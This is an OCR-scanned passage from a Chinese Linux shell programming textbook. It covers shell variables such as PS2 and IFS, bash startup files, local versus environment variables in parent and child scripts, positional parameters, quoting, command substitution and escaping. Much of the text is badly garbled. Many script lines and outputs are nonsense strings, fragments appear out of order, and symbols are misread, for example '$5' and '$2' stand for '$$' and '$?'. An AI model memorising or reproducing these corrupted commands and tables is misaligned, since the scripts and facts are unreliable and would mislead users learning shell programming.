PS2 变量 值 的 例子 ， 它 将 PS2 设 为 “\s >” 二 级 提示 符 变 为 “bash >”。 
# 例 6-21: 改变 PS2 变量 值 



































[root@jselab ~]# PS2="\s >" 
[root@jselab ~]# $echo "E-Commence 
oa > 

(8) IFS 








IFS 用 于 指定 Shell 域 分 隔 符 ， 默 认 值 为 空格 。 例 6-22 重新 设置 IFS 变量 的 值 ， 它 将 IFS 
设 定 为 冒号 ,然后 显示 PATH 的 值 ，Shell 就 以 冒号 为 分 隔 符 ， 将 PATH 的 各 目录 以 空格 分 隔 
而 显示 出 来 。 

# 例 6-22: 改变 IFS 变量 值 

[root@jselab ~]# export IFS=: 

[root@jselab ~]# echo $PATH 

Ves yl ee /ns /kereros sel /us kerero Nun smeaene /loal 


Sl/ /le n/n # 不 同 路 径 之 间 用 空格 分 隔 
[root@jselab ~]# 


3. 几 个 环境 变量 配置 文件 
于 Linux 环境 变量 的 数量 较 多 ， 因 此 ， 系 统管 理 员 通常 不 会 利用 export 逐个 设置 环境 
变量 , 而 是 将 export 命令 放置 在 特殊 的 配置 文件 之 中 ，Shell 能 够 在 特定 时 刻 执行 这 些 配置 文 
件 ， 从 而 自动 完成 环境 变量 的 配置 工作 。 本 节 介 绍 .bash_profile、.bashrc 和 .bash logout 三 个 
配置 文件 ， 这 三 个 文件 存在 于 用 户 根 目录 ， 即 $SHOME 目录 ，Linux 中 以 “.” 开 头 的 文件 为 
隐藏 文件 。 因 此 ， 上 述 三 个 文件 为 隐藏 文件 。 
$SHOME/.bash_profile 是 最 重要 的 配置 文件 ， 当 某 Linux 用 户 登 录 时 ，Shell 会 自动 执 
行 .bash_profile 文件 ， 如 果 .bash profile 文件 不 存在 ， 则 自动 执行 系统 默认 的 配置 文件 
/etc/profile。 例 6-23 给 出 了 gridsphere 用 户 的 .bash_profile 文件 内 容 及 其 执行 命令 。 
# 例 6-23: .bash profile 文件 示例 


[gridsphere@jselab ~]# cat .bash profile #gridsphere 用 户 的 .bash profile 文件 
# .bash profile 



























































































































































































































































# Get the aliases and functions 
EE ase hem 
ES 
人 
# User Specific environment and startup programs 
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export JAVA HOME=/usr/local/jdk1.5.0 04 

export CATALINA HOME=/home/gridsphere/jakarta-tomcat-5.0.28 
export GLOBUS LOCATION=/usr/local/globus-4.0.4 

exportPenAsSsePALTH /sr/ looal/ I lo 0 O04 

export ANTIHOME /Usr/local/apachne ant — 17.0 

export PATH=$PATH: $JAVA HOME/bin: $ANT HOME/bin: $HOME/bin 





[gridsphere@jselab ~]#. .bash profile # 执 行 .bash profile 文件 
从 例 6-23 可 以 看 出 ，.bash_profile 文件 中 定义 了 该 用 户 的 环境 变量 ， 我 们 可 以 在 已 有 行 
后 面 添加 新 的 行 以 定义 新 的 环境 变量 ， 但 是 ， 新 加 入 的 行 上 只 有 注销 用 户 ， 并 再 次 登录 后 方 可 
生效 。 如 果 要 使 新 加 入 的 行 立 即 生效 ， 需 要 利用 source 命令 执行 .bash_profile 文件 。source 
命令 也 称 为 “点 命令 ” 即 句 点 符号 “.” 和 source 命令 是 等 价 的 ，source 命令 通常 用 于 重新 
执行 刚 修改 的 初始 化 文件 ， 使 之 立即 生效 ， 而 不 必 注 销 并 重新 登录 。 因 此 ， 使 .bash_profile 
生效 可 以 使 用 如 下 两 条 等 价 命 令 : 
bas rorfile # 注 意 : 句点 符号 后 面 用 空格 与 文件 名 分 隔 
Seve mnem le 


利用 source 命令 执行 脚本 和 在 Shell 中 执行 脚本 是 有 区 别 的 ，source 在 当前 bash 环境 下 
执行 命令 ， 而 执行 Shell 脚本 是 启动 一 个 子 Shell 来 执行 命令 。 因 此 ， 如 果 在 Shell 中 直接 执 
行 .bash_profile 文件 ， 新 的 环境 变量 只 在 子 Shell 中 生效 ,而 无 法 在 当前 的 Shell 中 生效 。 但 
是 ， 使 用 source 命令 执行 .bash_profile 后 ， 新 环境 变量 在 当前 Shell 及 其 子 Shell 中 立即 生效 。 

bash Shell 还 支持 继承 于 其 他 Shell 的 登录 配置 文件 ;bash Shell 的 .bash login 文件 来 源 于 
C Shell 的 .login 文件 ，bash Shell 的 .profile 文件 来 源 于 Bourne Shell 和 Korn Shell 的 .profile 文 
件 。 当 用 户 登 录 时 ， 首 先 查 找 是 否 存 在 bash_profile 文件 ， 若 它 不 存在 ， 则 查找 是 否 存 
在 .bash_login 文件 ， 若 它 也 不 存在 ， 则 查找 是 否 存 在 .profile 文件 。 至 于 上 述 几 类 Linux Shell 
的 类 型 和 区 别 ， 在 此 不 作 详 细 介 绍 ， 读 者 可 参见 本 书 第 11 章 。 

如 果 用 户 由 当前 Shell 创建 一 个 新 的 Shell， 称 为 子 Shell (subshell )， 子 Shell 尝试 读 
取 .bashrc 中 的 命令 以 设置 环境 变量 。.bashrc 文件 使 得 用 户 登 录 时 的 环境 变量 设置 与 子 Shell 
的 环境 变量 设置 相 分 离 ， 使 用 户 具 有 更 大 的 灵活 度 。 当 然 ， 如 果 系 统 不 存在 .bashrc 文件 ， 子 
Shell 启动 时 将 不 执行 任何 命令 。 

.bash_logout 文件 在 用 户 注 销 时 执行 , 用 户 可 以 在 该 文件 中 写 入 清除 某 些 环境 变量 或 记录 
登录 时 间 等 命令 ，.bash_logout 文件 也 可 以 不 存在 ， 此 时 ,用户 注 销 时 将 不 再 执行 任何 额外 的 



































































































































































































































































































































































































































4. 一 个 实例 
本 节 举 一 个 父 进程 创建 子 进程 的 例子 ， 以 说 明 本 地 变量 和 环境 变量 的 区 别 ， 以 及 诸多 环 
境 变 量 的 结合 使 用 ， 我 们 创建 两 个 脚本 : fathersh 和 child.sh，father.sh 的 脚本 内 容 如 下 : 


例 6-24: father .sh 脚本 输出 其 进程 号 ， 分 别 定义 本 地 变量 和 环境 变量 ， 并 创建 子 进程 
!/bin/bash 







































































输出 父 进程 号 
echo “Father Process ID is $$" 











定义 本 地 变量 并 输出 


localvar="Define a local variable." 
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Seno "localvar = bloecalvar, 





# 定 义 环境 变量 并 输出 
ENVVAR="Define a environment Variable." 
export ENVVAR 

echo "ENVVAR=$ENVVAR" 

















# 调 用 child. sh 脚本 ， 即 创建 子 进程 
$PWD/child.sh 


#child. sh 执行 完毕 ， 输 出 相关 变量 值 

eenom recuneoraneanroes ne 
echo "localvar=$localvar" 

echo "ENVVAR=$ENVVAR" 


father.sh 脚本 首先 打印 其 进程 号 ，$$ 表 示 执 行 该 脚本 的 进程 号 ，6.1.4 节 将 详细 介 经 
号 ; 然后 ，father.sh 脚本 定义 本 地 变量 localvar 和 环境 变量 ENVVAR; 接着 ，father.sh 用 













































































该 符 
本 调 























用 child.sh 脚本 ， 即 创建 执行 child.sh 脚本 的 子 进 程 于 child.sh 与 father.sh 放置 在 同 


























录 ， 因 此 ， 用 环境 变量 $PWD 指明 child.sh 的 目录 ， 若 直接 调用 child.sh，Shell 将 返回 找 不 到 



































目 


此 脚本 的 错误 信息 ，child.sh 执行 完毕 后 , father.sh 输出 进程 号 、 localvar 和 ENVVAR 。child.sh 








脚本 的 内 容 如 下 : 
#chilg.sh: 该 脚本 输出 自身 进程 号 及 其 父 进 程 号 、 
#1!1/bin/bash 



































Hl 





新 定义 本 地 变量 和 环境 变量 


























# 输 出 自身 进程 号 及 其 父 进程 号 
echo "Chnild Process ID js $$" 
echo “My Father Process ID is $PPID" 

















# 输 出 本 地 变量 和 环境 变量 的 当前 值 
echo "localvar=$localvar 
echo "ENVVAR=$ENVVAR" 











# 重 新 定义 本 地 变量 和 环境 变量 


localvar="Redefine this local variable." 





ENVVAR="Redefine this environment variable." 
echo "localvar=$localvarey 
echo "ENVVAR=$ENVVAR" 


















































child.sh 脚本 输出 自身 进程 号 及 其 父 进 程 号 ，$PPID 就 记录 了 father.sh 的 进程 号 。 然 后 ， 


























输出 本 地 变量 localvar 和 环境 变量 ENVVAR 的 值 ; 接着 , child.sh 脚本 对 localvar 和 ENVVAR 























两 个 变量 重新 赋值 。 
[root@jselab globus]# chmod utx father.sh 
[root@jselab globus]# chmod ut+x child.sh 
[root@jselab globus]# ./father.sh 
Botherierocess rs # 父 进程 
Jocalvar=Define a local variable. 























ENVVAR=Define a environment variable. 
Chanlen eroesse oD 2 




















My Father Process ID is 12770 #PPID 变量 值 和 其 父 进程 值 相等 
lacal ee #localvar 变量 为 空 
ENVVAR=Define a environment variable. # ENVVAR 则 为 父 进程 中 所 赋 的 值 











localvar=Redefine this local variable. 
ENVVAR=Redefine this environment variable. 
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Return to father process: 12770 
loc Dernee le le #localvar 和 ENVVAR 仍 为 父 进程 中 所 赋 的 值 
ENVVAR=Define a environment Variable. 














[root@jselab globus]# 
father.sh 的 进程 号 为 12770，child.sh 的 进程 号 为 12771，child.sh 中 的 $SPPID 变量 值 为 


12770， 确 实 是 father.sh 的 进程 号 。child.sh 输出 localvar 为 空 值 ， 这 说 明 本 地 变量 无 法 传递 
到 子 进程 ， 而 ENVVAR 为 fathersh 中 所 赋 的 值 ， 这 说 明 环 境 变 量 对 所 有 的 子 进程 都 有 效 。 
child.sh 将 localvar 和 ENVVAR 进行 了 重新 赋值 ， 但 是 ，child.sh 执行 完毕 ,返回 father.sh 后 ， 
localvar 和 ENVVAR 仍 为 father.sh 中 所 赋 的 值 ， 这 说 明 无 论 是 本 地 变量 还 是 环境 变量 ， 都 无 
法 向 其 父 进程 传递 。 


6.1.4 位置 参数 


位 置 参 数 (positional parameters) 是 一 种 特殊 的 Shell 变量 ， 用 于 从 命令 行 向 Shell 脚本 
传递 参数 ，$1 表示 第 1 个 参数 、$2 表示 第 2 个 参数 等 ，$0 为 脚本 的 名 字 ， 从 ${10} 开 始 ， 参 
数 号 需要 用 花 括号 括 起 来 ， 如 ${10}、${11}、${100}、...s $* 和 $@ 一 样 ， 表 示 从 $1 开始 的 
全 部 参数 。 

下 面 举例 说 明 位 置 参数 的 用 法 ， 新 建 一 个 名 为 position 的 脚本 ， 内 容 如 下 : 

# 例 6-25: position 脚本 说 明 $0,， $1, $2,..., ${10}, $x* 












































































































































































































































#!/bin/sh 

EN #$0 表示 脚本 本 身 
echo "Parameter #1; $1" 

echo "Parameter #2: $2" 

cen ermneeer ede 

echo "Parameter #4:; $4" 

eenel earaneeer rope 

echo "Parameter #6: $6" 

echo "Parameter #7: $7" 

echo "Parameter #8: $8" 

echo "Parameter #9: $9" 

echo "Parameter #10: ${10}™" # 用 人 花 括 号 括 起 来 








人 enc 





echo TAI the command line parameters are: $*™ 

#$* 利 $@ 一 样 ， 表 示 从 $1 开始 的 全 部 参数 

position 脚本 接受 命令 行 的 10 个 参数 ， 然 后 将 $80，$1，$2，...，${10}，$* 回 显 出 来 。 下 
面 给 出 position 脚本 的 执行 结果 ， 从 中 可 以 清晰 地 看 出 890，$1，$2，.…，${110}，$* 等 符号 的 

5 | 6-25 Position 脚本 的 执行 结果 

[root@jselab globus]# chmod u+x position 


















































[root@jselab globus]# ./position a bat cat dive eager fair gate hi ideal java 
me ene nm /oon 

Parameter #1:a 

Parameter #2:bat 

Parameter #3:cat 

Parameter #4:dive 

Parameter #5:eager 

Parameter #6:fair 
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Parameter #7:gate 
Parameter #8:hi 

Parameter #9:ideal 
Parameter #10:java 


All the command line parameters are: a bat cat dive eager fair gate hi ideal java 


Shell 还 定义 了 一 些 特殊 的 位 置 参数 ， 表 6-3 列 出 了 这 些 特殊 位 置 参 数 及 其 意义 
表 6-3 ”特殊 位 置 参数 及 其 意义 
































特殊 位 置 参 数 

如 传递 到 脚本 的 参数 数量 
$* 和 $@ 传递 到 脚本 的 所 有 参数 
$5 脚本 运行 的 进程 号 
$2 命令 的 退出 状态 ，0 表示 没有 错误 ， 非 0 表示 有 错误 

将 position 脚本 “echo "------------------------- "” 以 下 的 语句 改 成 如 下 内 容 ， 以 说 明 表 6-3 

中 特殊 位 置 参数 的 意义 。 
ec 出 


echo “ALY the command Jine parameters are: $@" 

echo “The number of command line parameters is: $#" 
echo "The prcess ID is: $$" 
ecnoNMpiaMtnisserioanavelany er 2 
















































































下 面 显示 position 脚本 的 执行 结果 ， 请 注意 标注 处 的 新 加 脚本 的 运行 结果 ， 可 以 看 到 $@ 
与 $* 一 样 ， 是 全 部 位 置 的 内 容 ，Sf-10; 是 位 置 参数 的 个 数 ，$$ 是 执行 该 脚本 所 启动 的 进程 
号 ， 此 值 并 不 国定 ，$?=0， 表 示 脚 本 执行 没有 发 生 错误 。 











# 例 6-25 position 新 加 脚本 的 执行 结果 
[root@jselab globus]# ./position a bat cat dive eager fair gate hi ideal java 





mevser ot oname /os en 
Parameter #1:a 

Parameter 
Parameter 
Parameter 
Parameter 


Parameter 
Parameter 
Parameter 








及 
3 
4 
本 
Parameter #6:fair 
了 
8 
加 
下 


Parameter 
All the command line parameters are: a bat cat dive eager fair gate hi ideal java 
The number of command line parameters is: 10 # 下 面 是 新 加 脚本 的 执行 结果 

Tne resss uD 2 

Dre Entseseript nave anv ereonmso 

[root@jselab globus]# 
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尽管 本 书 前 面 的 内 容 几 乎 每 章 都 涉及 引用 ， 但 是 ， 我 们 只 是 提醒 读者 需要 用 双 引 号 、 单 
等 将 其 引起 来 ， 并 没有 解释 其 原因 ， 本 节 详 细 介 绍 Shell 脚本 中 引用 的 类 型 和 用 法 。 
引用 指 将 字符 串 用 引用 符号 引起 来 ， 以 防止 特殊 字符 被 Shell 脚本 重 解释 为 其 他 意义 ， 
字符 是 指 除 了 字面 意思 之 外 还 可 以 解释 为 其 他 意思 的 字符 ,如 $ 符 号 的 字面 意思 就 是 美圆 
符号 ， 但 是 $ 还 表示 正则 表达 式 中 行 尾 ， 还 可 进行 变量 奉 换 。 首 先 请 看 下 面 的 例 6-26， 其 中 
第 1 条 命令 没有 引用 ，* 被 解释 为 特殊 意义 ， 因 此 ， 列 出 目录 中 以 a 开头 的 文件 。 第 2 条 命令 
引用 了 a*，* 被 解释 为 字面 意义 ， 由 于 文件 中 没有 名 为 a* 的 文件 ， 因 此 ，Shell 提示 无 此 文件 
或 目录 。 由 此 可 以 看 出 : 引用 是 屏蔽 特殊 字符 的 特殊 意义 ， 而 将 其 解释 为 字面 意义 。 

# 例 6-26: 无 引用 和 引用 的 区 别 


[root@jselab globus]# ls ax # 无 引用 ，* 被 解释 为 通配符 
append.sed argv.awk array.awk 




























































































































































































You have new mail in /var/spool/mail/root 

Lt al lS ve #3 引用 后 ，* 被 解释 为 字面 含义 

ls: 无 法 访问 a*: 没有 那个 文件 或 目录 

[root@jselab globus] 

Shell 中 定义 了 四 种 引用 符号 ， 如 表 6-4 所 示 ，6.2.1 节 将 讨论 前 三 种 引用 符 ，6.2.2 市 将 
单独 讨论 转 义 符 。 


表 6-4 引用 符号 、 名 称 及 其 意义 











意 义 











引用 除 美圆 符号 〈$) 、 反 引号 〈 >) 和 反 斜 线 (\) 之 外 的 所 有 字符 
引用 所 有 的 字符 
Shell 将 反 引 号 中 的 内 容 解释 为 系统 命令 


转 义 符 ， 屏 蔽 下 一 个 字符 的 特殊 意义 


6.2.1 全 引用 和 部 分 引用 


双 引 号 引用 除 美圆 符号 ($X 反 引 号 和) 和 反 斜 线 (\) 之 外 的 所 有 字符 ， 即 ($)、() 
和 Q) 在 双 引 号 中 仍 被 解释 为 特殊 意义 。 在 双 引 号 中 保持 $ 符 号 的 特殊 意义 可 以 引用 变量 ， 
如 "$variable" 表 示 以 变量 值 替 换 变 量 名 。 利 用 双 引 号 引用 变量 能 够 防止 字符 串 分 割 ， 保 留 变 
量 中 的 空格 。 

下 面 的 例 6-27 新 建 一 个 名 为 double.sh 的 脚本 ， 内 容 如 下 : 

# 例 6-27: double. sh 脚本 演示 $variable 和 "$variable" 的 区 别 

#!/bin/bash 


variablel=2010 
echo "$variablel™ 


































































































echo $variablel 


variable2="X 到 史册 # 字 符 之 间 用 多 个 空格 分 开 
echo "$variable2" 





echo $variable2 

double.sh 脚本 定义 两 个 变量 : variablel 为 数字 2010，variable2 为 字符 串 ， 字符 之 间 用 多 
个 空格 分 开 ， 对 这 两 个 变量 分 别 打 印 $variable 和 “$variable ”的 值 。 下 面 给 出 double.sh 脚本 
的 执行 结果 ， 可 以 看 到 对 于 变量 值 是 数字 的 情况 ，$variablel 和 “S$variablel1 ”的 值 相 同 ; 对 
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于 由 多 个 空格 分 


$variable2 打印 出 的 字符 











# 例 6-27 double .sh 脚本 的 执行 结果 
Geetegselab glooums|t chmocd ntz douleesh 


[root@jselab glokbus]# 


2010 
2010 
X 2 
:0 


[root@jselab globus]# 
6.2.2 节 的 weirdvars.sh 及 


用 变量 防止 字符 串 分 割 、 保 留 变量 中 的 空格 这 一 特性 
单 引号 引用 了 所 有 的 
具备 引用 变量 的 功能 。 























号 不 再 
引用 方式 称 为 部 分 引用 











例 6-28 解释 了 双 引 号 和 单 引号 之 间 的 





2 Ar dD 


is the current directory. 子 付 目 


3$PWD 。 











o 


例 6-28; 双 引 号 和 单 引 号 
root@jselab globus| 
/home/globus is the current directory. 
root@jselab globus] 
$PWD is the current directory. 
root@jselab globus] 


> A 


字符 ， 
因此 ， 我 们 通常 将 单 纪 


./double.sh 











o 











的 字符 串 的 情况 ,“$variable2” 打 印 出 了 保 


间 只 用 一 个 空格 相 分 隔 。 


BE 
时 | 





多 个 空格 的 字符 串 ， 而 


#"$variable2" 保 留 了 空格 


#$variable2 字符 间 





只 有 一 个 空 术 






























































的 区 别 








区 别 ， 其 中 命令 


上， 可 以 看 到 ， 双 引号 将 $PWD 解释 为 其 值 ， 而 单 引 号 原样 输出 


即 单 引号 中 字符 除 单 引号 本 身 之 外 都 


本 和 本 章 上 机 提议 第 4 题 将 有 助 于 读者 更 











角 畦 


和 释 为 字面 意义 ， 单 引 
号 的 引用 方式 称 为 全 引用 ， 将 双 引号 的 


深入 地 理解 双 引 号 引 






































分 别 用 双 引 号 和 单 引 号 输出 8PWD 









































echo "“$PWD is the current directory." 
#$PWD 被 替换 
echo '$PWD is the current Qirectory.! 


#$PWD 保持 不 变 














单 引 号 是 不 屏蔽 站 




















!/bin/bash 
eeneo Why een te 





echo 
‘| 二 | 


例 6-29: stephane . 























引号 
sh 脚本 说 明了 单 引 号 不 屏蔽 单 引号 本 身 
write 's between single quotes" 








wy een toweite spetweensinole ouotese 


本 身 的 ;请 看 例 .6-29 给 出 的 名 为 stephane.sh 的 脚本 : 


三 眉 间 513 


stephane.sh 脚本 需要 输出 Why can't I write 's between single quotes 字符 串 , 该 字符 串 中 包 
输出 , 但 是 ， 当 用 单 引号 输出 此 行文 本 时 ， 
分 三 段 将 此 行文 本 输出 ， 下 














含 两 个 单 





需要 对 此 行文 本 中 的 两 个 单 引号 进行 单独 处 理 。 
面 给 出 stephane.sh 脚本 的 执行 结果 。 





引号 ， 当 然 可 以 用 双 引 号 直接 引起 来 将 其 
因此 ，echo 












































# 例 6-29 stephane .sh 脚本 的 执行 结果 
[xoot@Jselab globus] 
[root@Jjselab globus] 


Way ean tt warnte 
why een to wenee 





“六 
Ms 


[root@jselab globus] 


双 引 号 和 单 引 号 是 Shell 编程 中 最 常用 的 符号 ， 


异同 点 。 





chmod ut+x stephane.sh 
./stephane.sh 
between single quotes 
between single quotes 




















三 
需要 





读者 需要 清晰 地 到 














从 











远见 教 





























E 解 双 引 号 和 单 引 号 的 
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命令 蔡 换 是 指 将 命令 的 标准 输出 作为 值 赋 给 某 个 变量 , bash Shell 定义 了 两 种 语法 进行 命 
令 玲 换 ， 一 种 是 使 用 反 引 号 ， 另 一 种 是 利用 $0 ， 两 种 等 价 的 语法 格式 如 下 : 
oe 
比如 ，pwd 是 显示 当前 工作 目录 的 命令 ，pwd 和 $pwd) 等 价 ， 值 都 为 当前 工作 目录 ， 与 
环境 变量 $8PWD 的 值 一 样 。 下 面 举 几 个 例子 说 明 命令 替换 的 用 法 和 特性 。 
首先 ， 例 6-30 演示 了 反 引 号 的 基本 用 法 ， 例 中 第 1 条 命令 Shell 将 world 解释 为 系统 命 


















































































































































































































































令 ， 由 于 系统 没有 world 命令 ， 因 此 ，Shell 返回 此 命令 找 不 到 的 错误 ; 第 2、3 条 命令 反 引 
号 中 分 别 为 who 和 date 命令 ， 这 两 条 都 是 正确 的 系统 命令 ， 因 此 ， 输 出 上 述 两 条 系统 命令 的 
执行 结果 。 

# 例 6-30: 反 引 号 的 基本 用 法 

[root@jselab globus]# echo ‘world. # 第 1 条 命令 : 调用 worlg 命令 失败 

二 SS leonmanmne ee omael 

[root@jselab globus]# echo ‘who. # 第 2 条 命令 : 、 符 号 中 调用 who 命令 

editor ava S201 31 1/ 0 

SEO 让 已 SO a0L0 4 

OE ES 2010=04 235 12 52 T210287220159 

[root@jselab globus]# echo ‘date. # 第 3 条 命令 : 符号 中 调用 date 命令 

20105 010 27 8 I T1022 esr 

[root@jselab globus]# 

其 次 ， 我 们 注意 到 使 用 反 引 号 进行 命令 蔡 换 时 ， 字 符 串 分 割 的 特性 依然 存在 。 为 说 明 字 
符 串 分 割 ， 请 看 下 面 例 6-31 给 出 的 四 条 语句: 

网 6-31: 反 引 号 和 引号 的 综合 使 用 























(1) command ‘echo. 
(ecnnmana eehe 

(3) command ‘echo x y. 
ead eommam elon 


四 条 语句 的 command 泛 指 Linux 中 的 任何 命令 。 第 (1) 条 语句 echo 空 字符 串 ，Shell 
将 command 命令 解析 为 不 带 任何 参数 。 第 (2) 条 语句 将 echo 空 字 符 串 用 双 引 号 引起 来 ， 双 
引号 有 保留 空格 的 作用 ， 因 此 ，Shell 将 command 命令 解析 为 带 了 一 个 空 字符 串 作 为 参数 。 
第 (3) 条 语句 echo 产生 x 和 y 字 符 ， 中 间 用 空格 分 了 喇 ，Shell 将 command 命令 解析 为 带 了 
两 个 参数 x 和 y， 此 时 echo 产生 的 一 个 字符 串 就 被 解析 为 两 个 字符 ， 这 就 造成 了 所 谓 的 字符 
串 分 割 。 避 免 字符 串 分 割 只 要 用 双 引 号 将 echo 命令 引起 来 ， 即 如 第 (4) 条 语句 所 示 ，Shell 
将 command 命令 解析 为 带 了 一 个 参数 “x y”。 

如 果 我 们 深入 地 分 析 一 下 bash Shell 产生 字符 串 分 割 的 原因 ,是 因为 bash Shell 的 IFS 值 
默认 为 空 ， 即 bash Shell 默认 为 空格 是 一 个 参数 的 结束 符 。 

当 命 令 奉 换 返 回 有 多 行 结果 时 ， 如 果 不 引 用 命令 奉 换 的 结果 ， 换 行 符 也 将 被 删除 ， 下 面 
例 6-32 的 第 1 条 命令 定义 dirlist 为 ls -1 ax 命令 的 执行 结果 ， 由 多 个 文件 信息 行 组 成 。 第 2 条 
命令 不 引用 dirlist， 结 果 显 示 dirlist 中 的 换行 符 被 删除 。 第 3 条 命令 引用 dirlist 时 ， 结 果 保 留 
了 dirlist 的 换行 符 。 


# 例 6-32: 命令 蔡 换 删除 换行 符 
loo sara cenasusll Cialis as 1 ae” # 第 1 条 命令 ; 命令 蔡 换 
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[root@jselab globus]# echo $dirlist # 第 2 条 命令 : 不 引用 dirlist 变量 ， 换 行 符 被 删除 
E00 0 2 en e es 





DEON me oo A 
[reote jselaD glopus]t ecno"oalnrelist, # 第 3 条 命令 : 引用 dirlist 变量 ， 换 行 符 保留 
EW ne 
= E60 | oo Toot 72 2000=10=153 a dv 
-0 lL J eo 79 2002=10=14 Afray. am 


[root@jselab globus]# 








尽管 $0 与 肥 引 号 在 命令 蔡 换 上 是 等 价 的 ， 但 是 ，$0 形 式 的 命令 蔡 换 是 可 以 姐 套 的 。 例 
6-33 说 明了 $0 的 租 套 ， 例 中 命令 是 计算 input 文件 中 第 1 行文 本 的 长 度 ，expr length 是 计算 








字符 串 长 度 的 命令 , 该 命令 所 计算 
命令 。 
# 例 6-33; 命令 玲 换 删除 换行 符 























的 字符 串 嵌 套 $0 格 式 的 命令 蔡 换 , 所 蔡 换 的 命令 是 一 个 sed 


[oot@ jselab glopus]Ht firstlinelengthn= $$ (expr length "$(sed -=n "1 ineut)") 
[root@jselab globus]# echo $firstlinelength 


本 本 
[root@jselab glopus]# 


bash Shell 中 ， 反 引号 与 $0 在 
线 符 号 是 转 义 符 ， 将 在 6.2.3 节 中 











处 理 双 反射 线 符号 时 存在 区 别 ， 请 看 下 面 的 例 6-34， 反 和 斜 
介绍 ， 在 此 仅 说 明 反 引号 与 $0 在 处 理 双 反 和 斜 线 符号 时 的 区 




















x 
































别 ， 反 引号 将 反 斜 线 符号 处 理 为 空格 ， 而 $0 符号 将 其 处 理 为 单 斜 线 符 。 





X 


root@jselab globus]# echo 


S 





root@jselab globus]# 








例 6-34: 反 引 号 与 $ () 在 处 理 双 反 和 斜 线 符号 的 区 别 
root@jselab globus]# echo \\ 


root@jselab globus]# echo $ (echo \\) 





echo \\. 
































命令 替换 使 bash Shell 可 以 与 其 他 编程 语言 编写 的 程序 结合 起 来 ， 运 行 如 C/C++、Java 






































语言 编写 的 程序 同样 输出 到 stdout 上 , 我 们 只 要 使 用 命令 替换 将 输出 保存 到 Shell 变量 , Shell 
































就 可 以 对 其 他 编程 语言 编写 的 程序 所 产生 的 输出 进行 任何 处 理 。 下面 的 例 6-35 在 命令 替换 中 
调用 C 语言 程序 ， 例 6-35 首先 新 建 一 个 C 语言 源 代 码 文件 ， 名 字 为 simpleC.c， 内 容 如 下 : 























/* simpleC.c: C 语言 源 代 码 文 件 ， 
#include <stdio.h> 
main () 
{ 
BEE ss lo 














例 6-35 中 第 1 条 命令 使 用 gcc 编译 simpleC.c 文件 , gcc 是 Linux 系统 下 的 一 种 C 语言 编 














输出 一 行 简单 语 旬 */ 


CoErome roam 
























































译 器 ， 它 的 用 法 不 在 本 书 讨论 范围 之 内 。 在 此 ， 读 者 可 做 如 下 简单 理解 : gcc 是 编译 命令 ，-o 
选项 后 指定 所 生成 可 执行 文件 的 名 字 ， 例 6-35 中 为 simpleC。 例 6-35 的 第 2 条 命令 用 反 引 号 
进行 命令 替换 ， 将 simpleC 的 执行 结果 赋 给 testc 变量 ， 最 后 ， 打 印 testc 变量 值 ， 发 现 testc 























的 值 确实 为 C 语言 程序 的 输出 。 


# 例 6-35: bash shell 和 Cc 程序 结 


























A 
口 


# 第 1 条 命令 : 编译 c 语言 源 文件 ， 形 成 可 执行 文件 simplec 
[root@zawu shell-program]# gcc -o simpleC simpleC.c 
# 第 2 条 命令 : 将 simplec 的 执行 结果 赋 给 testc 变量 
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[root@zawu shell-program testc= ./simpleC 
# 第 3 条 命令 : 输出 testc 变量 
[root@zawu shell-program]# echo $testc 

Me Me Ce omeare Fon Te den # 来 自 C 语言 程序 的 输出 结果 
[root@zawu shell-program 


例 6-35 提供 了 bash Shell 与 其 他 类 型 程序 结合 的 模板 , 只 要 将 其 他 类 型 程序 封装 成 Shell 
的 可 执行 文件 ， 然 后 就 可 以 方便 地 使 用 命令 替换 来 调用 这 个 可 执行 文件 ， 而 得 到 来 自 于 其 他 
类 型 程序 的 输出 结果 。 


6.2.3 转 义 

反 和 斜 线 符号 (\) 表示 转 义 ， 当 反 斜 线 后 面 的 一 个 字符 具有 特殊 意义 时 ， 反 斜 线 将 屏蔽 下 
一 个 字符 的 特殊 意义 ， 而 以 字面 意义 解析 它 。 特 殊 字 符 既 包括 正则 表达 式 中 定义 的 元 字符 ， 
也 包括 Shell 重 定向 、 管 道 命令 中 的 一 些 特殊 字符 。 表 6-5 总 结 了 Shell 中 所 有 的 特殊 字符 及 
其 意义 ， 即 如 果 用 Shell 解析 表 6-5 中 的 字符 ， 必 须 使 用 转 义 符 。 

表 6-5 ”特殊 字符 及 其 意义 

特殊 字符 
















































































传递 到 脚本 的 参数 数量 





0 个 或 多 个 在 * 字 符 之 前 的 那个 普通 字符 





匹配 1 个 或 多 个 在 其 之 前 的 那个 普通 字符 
百 面 字符 的 非 


，0 表示 没有 错误 ， 非 0 表示 有 错误 























反 引 号 ，Shell 引 

















双 引 号 ，Shell 引用 符 











管道 符号 或 表示 “或 ”意义 
匹配 0 个 或 1 个 在 其 之 前 的 那个 普通 字符 


转 义 符 




















例 6-36 使 用 转 义 符 将 双 引 号 和 美圆 符号 转 义 ， 例 中 第 1 条 命令 将 双 引 号 转 义 ，Shell 按 
照 字面 含义 解析 双 引 号 ,结果 中 直接 输出 双 引 号 ; 例 中 第 3 条 命令 在 美元 符号 $ 前 加 上 转 义 符 ， 
Shell 按 字 面 含义 解析 $$， 所 以 ，$PWD 不 再 被 解析 为 环境 变量 ， 而 被 当做 普通 字符 串 $PWD 
直接 输出 。 
例 5-36: 将 双 引 号 和 美圆 符号 转 义 
第 1 条 命令 ; 将 双 引 号 转 义 
root@jselab globus]# echo "This is \" The 60th National Day\"" 


Tsserse ue eh Na ironman Da 
root@jselab globus]# echo "$PWD" 








































































































/home/globus 
root@jselab globus]# echo "\$PWD" # 第 3 条 命令 : 将 $ 符 号 转 义 
$PWD 











root@jselab globus]# 
对 于 *、^、?、+、 色 、* 等 符号 ， 不 再 























Ns 





葵 例 ， 其 用 法 与 双 引 号 和 $ 符 号 完全 一 致 ， 但 
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中 将 转 义 符 本 身 转 义 , 例 
转 义 ， 





\ 


> 


输出 转 义 符 本 身 ， 例 中 得 
例 6-37: 将 转 义 符 本 身 转 义 
ESEEIECE IC EEC 








是 当 转 义 符 后 跟 转 义 符 本 身 时 ， 用 法 略 显 特别 ， 下 面 








root@jselab globus]# echo "\" 


和 SS 
和 2 条 命令 

















echo 后 只 有 











A 
# 第 1 条 命令 : 











举 几 个 例子 加 以 说 明 。 例 6-37 在 命令 行 
第 1 条 命令 echo 后 加 两 个 转 义 符 , 第 1 个 转 义 符 将 第 2 个 转 义 符 
个 转 义 符 ， 此 时 出 现 二 级 提示 符 。 





将 转 义 符 本 身 转 义 


# 第 2 条 命令 : 出现 二 级 提示 符 


